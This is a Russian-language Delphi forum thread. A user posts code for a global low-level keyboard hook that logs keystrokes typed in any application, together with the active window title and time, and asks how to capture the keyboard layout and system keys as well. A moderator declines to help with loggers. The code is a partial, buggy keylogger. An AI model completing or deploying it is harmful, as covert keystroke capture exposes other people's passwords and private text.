Конференция "WinAPI" » обработка хука WH_KEYBOARD_LL [D7]
 
  • cad2206 (21.11.12 15:43) [0]
    Добрый день. Долго пытаюсь довести до ума логгер, но похоже нужна ваша помошь снова...

    Итак, ставлю хук на клавиатуру:


    hHook:=SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);



    Функция LowLevelKeyboardProc:


    function LowLevelKeyboardProc(nCode: Integer;
     WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;

     type
     PKbdDllHookStrukt = ^TKbdDllHookStrukt;
     _KBDLLHOOKSTRUCT = record
       vkCode: DWORD;
       scanCode: DWORD;
       flags: DWORD;
       time: DWORD;
       dwExtraInfo: PDWORD;
     end;
     TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;

    const
    RPT_WPARAM_DATA = '%s';
    RPT_LPARAM_DATA = '%d';

    var
    StrResult: string;
    Key: array[0..1] of Char;
    KeyboardState: tKeyboardState;
    ScanCode: integer;
    VKey: integer;

    begin
    StrResult:='';
    if nCode=HC_ACTION then
     Result:=CallNextHookEx(hHook, nCode, WParam, LParam);

    case WParam of
     WM_KEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
     WM_KEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
     WM_SYSKEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
     WM_SYSKEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
    end;

    StrResult:=Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);

    if (Wparam=WM_KEYUP) or (Wparam=WM_SYSKEYUP) then
     strresult:='';

    if strresult<>'' then
     begin
      GetKeyboardState(KeyboardState);
      VKey:=strtoint(strresult);
      ScanCode:=PKbdDllHookStrukt(LParam)^.scanCode;
     
     //функция, возвращающая переменной ActWnd название активного окна
      GetActiveWindow;

      if ToAscii(VKey,ScanCode,KeyboardState,Key,0)>0 then
       begin
        if LastActWnd<>ActWnd then
         begin
          BufferWrite(NewLine);
          WriteTime;
          BufferWrite(ActWnd);
          LastActWnd:=ActWnd;
         end;
        BufferWrite(@Key[0]);
       end;
     end;
    end;



    Так вот: немогу вытащить из активного приложения ни нажатые сист. клавиши, ни раскладку, и как дальше их использовать? Т.е. в своем же приложении вроде все нормально, а вот при наборе в чужем, в файле получаю только прописные и только латинские символы. Предполагаю, что нужно в функцию ToAscii передавать параметра KeyBoardState активного приложения.. Так ли? Или как-то по другому?
  • Rouse_ © (22.11.12 22:26) [1]
    С логерами на другой форум.
 
Конференция "WinAPI" » обработка хука WH_KEYBOARD_LL [D7]
Есть новые Нет новых   [134430   +2][b:0][p:0.002]